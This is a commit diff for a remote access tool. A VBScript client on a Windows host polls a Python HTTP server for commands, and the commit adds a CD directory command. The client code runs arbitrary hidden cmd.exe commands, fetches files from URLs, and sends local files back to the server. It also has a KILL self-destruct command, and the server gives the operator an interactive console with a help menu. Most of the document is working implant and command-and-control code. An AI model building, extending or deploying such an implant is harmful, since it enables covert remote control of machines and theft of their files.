Skip to content

Commit 95d69e8

Browse files
committed
v1.0 - Added CD feature
1 parent 4fa679d commit 95d69e8

File tree

2 files changed

+64
-17
lines changed

2 files changed

+64
-17
lines changed

client.vbs

Lines changed: 52 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -26,11 +26,12 @@ If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP")
2626
Dim arrSplitUrl, strFilename, stream
2727

2828
' Configuration
29-
Dim strHost, strPort, strUrl, intSleep
29+
Dim strHost, strPort, strUrl, strCD, intSleep
3030
strHost = "127.0.0.1"
3131
strPort = "8080"
3232
intSleep = 5000
3333
strUrl = "http://" & strHost & ":" & strPort
34+
strCD = "."
3435

3536
' Periodically poll for commands
3637
Dim strInfo
@@ -50,6 +51,12 @@ While True
5051
strArgument = arrResponseText(1)
5152
End If
5253

54+
' Fix ups
55+
If strCommand = "PWD" Or strCommand = "GETWD" Then
56+
strCommand = "CD"
57+
strArgument = ""
58+
End If
59+
5360
' Execute command
5461
Select Case strCommand
5562
' Sleep X seconds
@@ -161,7 +168,7 @@ While True
161168
Case "SHELL"
162169
'Execute and write to file
163170
Dim strOutFile: strOutFile = fs.GetSpecialFolder(2) & "\rso.txt"
164-
shell.Run "cmd /C " & strArgument & "> """ & strOutFile & """ 2>&1", 0, True
171+
shell.Run "cmd /C pushd """ & strCD & """ && " & strArgument & "> """ & strOutFile & """ 2>&1", 0, True
165172

166173
' Read out file
167174
Dim file: Set file = fs.OpenTextFile(strOutfile, 1)
@@ -181,11 +188,26 @@ While True
181188
strOutFile = Empty
182189
text = Empty
183190

191+
' Change Directory
192+
Case "CD"
193+
' Only change directory when argument is provided
194+
If Len(strArgument) > 0 Then
195+
Dim strNewCdPath
196+
strNewCdPath = GetAbsolutePath(strArgument)
197+
198+
If fs.FolderExists(strNewCdPath) Then
199+
strCD = strNewCdPath
200+
End If
201+
End If
202+
203+
SendStatusUpdate strRawCommand, strCD
204+
184205
' Download a file from a URL
185206
Case "WGET"
186207
' Determine filename
187208
arrSplitUrl = Split(strArgument, "/")
188209
strFilename = arrSplitUrl(UBound(arrSplitUrl))
210+
strFilename = GetAbsolutePath(strFilename)
189211

190212
' Fetch file
191213
Err.Clear() ' Set error number to 0
@@ -213,18 +235,21 @@ While True
213235
strFilename = Empty
214236

215237
' Send a file to the server
216-
Case "GET"
238+
Case "DOWNLOAD"
239+
Dim strFullSourceFilePath
240+
strFullSourceFilePath = GetAbsolutePath(strArgument)
241+
217242
' Only download if file exists
218-
If fs.FileExists(strArgument) Then
243+
If fs.FileExists(strFullSourceFilePath) Then
219244
' Determine filename
220-
arrSplitUrl = Split(strArgument, "\")
245+
arrSplitUrl = Split(strFullSourceFilePath, "\")
221246
strFilename = arrSplitUrl(UBound(arrSplitUrl))
222247

223248
' Read the file to memory
224249
Set stream = CreateObject("Adodb.Stream")
225250
stream.Type = 1 ' adTypeBinary
226251
stream.Open
227-
stream.LoadFromFile strArgument
252+
stream.LoadFromFile strFullSourceFilePath
228253
Dim binFileContents
229254
binFileContents = stream.Read
230255

@@ -235,12 +260,13 @@ While True
235260
binFileContents = Empty
236261
' File does not exist
237262
Else
238-
SendStatusUpdate strRawCommand, "File does not exist: " & strArgument
263+
SendStatusUpdate strRawCommand, "File does not exist: " & strFullSourceFilePath
239264
End If
240265

241266
' Clean up
242267
arrSplitUrl = Array()
243268
strFilename = Empty
269+
strFullSourceFilePath = Empty
244270

245271
' Self-destruction, exits script
246272
Case "KILL"
@@ -269,6 +295,25 @@ Function PadRight(strInput, intLength)
269295
End Function
270296

271297

298+
Function GetAbsolutePath(strPath)
299+
Dim strOutputPath
300+
strOutputPath = ""
301+
302+
' Use backslashes
303+
strPath = Replace(strPath, "/", "\")
304+
305+
' Absolute paths : \Windows C:\Windows D:\
306+
' Relative paths: .. ..\ .\dir .\dir\ dir dir\ dir1\dir2 dir1\dir2\
307+
If Left(strPath, 1) = "\" Or InStr(1, strPath, ":") <> 0 Then
308+
strOutputPath = strPath
309+
Else
310+
strOutputPath = strCD & "\" & strPath
311+
End If
312+
313+
GetAbsolutePath = fs.GetAbsolutePathName(strOutputPath)
314+
End Function
315+
316+
272317
Function SendStatusUpdate(strText, strData)
273318
Dim binData
274319
binData = StringToBinary(strData)

server.py

Lines changed: 12 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -66,7 +66,6 @@ def do_POST(self):
6666
global context
6767

6868
# File upload
69-
# if ctype == 'multipart/form-data':
7069
form = cgi.FieldStorage(fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD': 'POST'})
7170
cmd_data = form['cmd'].file.read()
7271
result_filename = form['result'].filename
@@ -80,11 +79,11 @@ def do_POST(self):
8079
# Store file
8180
if self.path == '/upload':
8281
# Create folder if required
83-
if not os.path.exists('download'):
84-
os.mkdir('download')
82+
if not os.path.exists('Downloads'):
83+
os.mkdir('Downloads')
8584

8685
# Write file to disk
87-
with file(os.path.join('download', result_filename), 'wb') as f:
86+
with file(os.path.join('Downloads', result_filename), 'wb') as f:
8887
f.write(result_data)
8988

9089
print 'File \'%s\' downloaded.' % result_filename
@@ -131,9 +130,11 @@ def main():
131130
while True:
132131
s = raw_input('%s> ' % context)
133132
s = s.strip()
133+
splitcmd = s.split(' ', 1)
134+
cmd = splitcmd[0].upper()
134135

135136
# In a context
136-
if context == 'SHELL':
137+
if context == 'SHELL' and cmd != 'CD':
137138
cmd = context
138139

139140
if s.upper() == 'EXIT':
@@ -147,8 +148,6 @@ def main():
147148
continue
148149
# No context
149150
else:
150-
splitcmd = s.split(' ', 1)
151-
cmd = splitcmd[0].upper()
152151
args = ''
153152
if len(splitcmd) > 1:
154153
args = splitcmd[1]
@@ -158,7 +157,7 @@ def main():
158157
continue
159158

160159
# UPLOAD
161-
if cmd == 'UPLOAD':
160+
elif cmd == 'UPLOAD':
162161
args = args.strip("\"")
163162

164163
# Check file existence
@@ -191,7 +190,7 @@ def main():
191190
continue
192191

193192
# SHELL
194-
elif cmd == 'SHELL':
193+
elif cmd == 'SHELL' and not args:
195194
context = 'SHELL'
196195
continue
197196

@@ -207,12 +206,15 @@ def main():
207206
# HELP
208207
elif cmd == 'HELP':
209208
print 'Supported commands:\n' \
210-
'- GET [path] - Download the file at [path] to the .\\downloads folder.\n' \
209+
'- CD [directory] - Change directory. Shows current directory when without parameter.\n' \
210+
'- DOWNLOAD [path] - Download the file at [path] to the .\\Downloads folder.\n' \
211211
'- GETUID - Get shell user id.\n' \
212+
'- GETWD - Get working directory. Same as CD.\n' \
212213
'- HELP - Show this help.\n' \
213214
'- IFCONFIG - Show network configuration.\n' \
214215
'- KILL - Stop script on the remote host.\n' \
215216
'- PS - Show process list.\n' \
217+
'- PWD - Same as GETWD and CD.\n' \
216218
'- SET [name] [value] - Set a variable, for example SET LHOST 192.168.1.77.\n' \
217219
' When entered without parameters, it shows the currently set variables.\n' \
218220
'- SHELL [command] - Execute command in cmd.exe interpreter;\n' \

0 commit comments

Comments
 (0)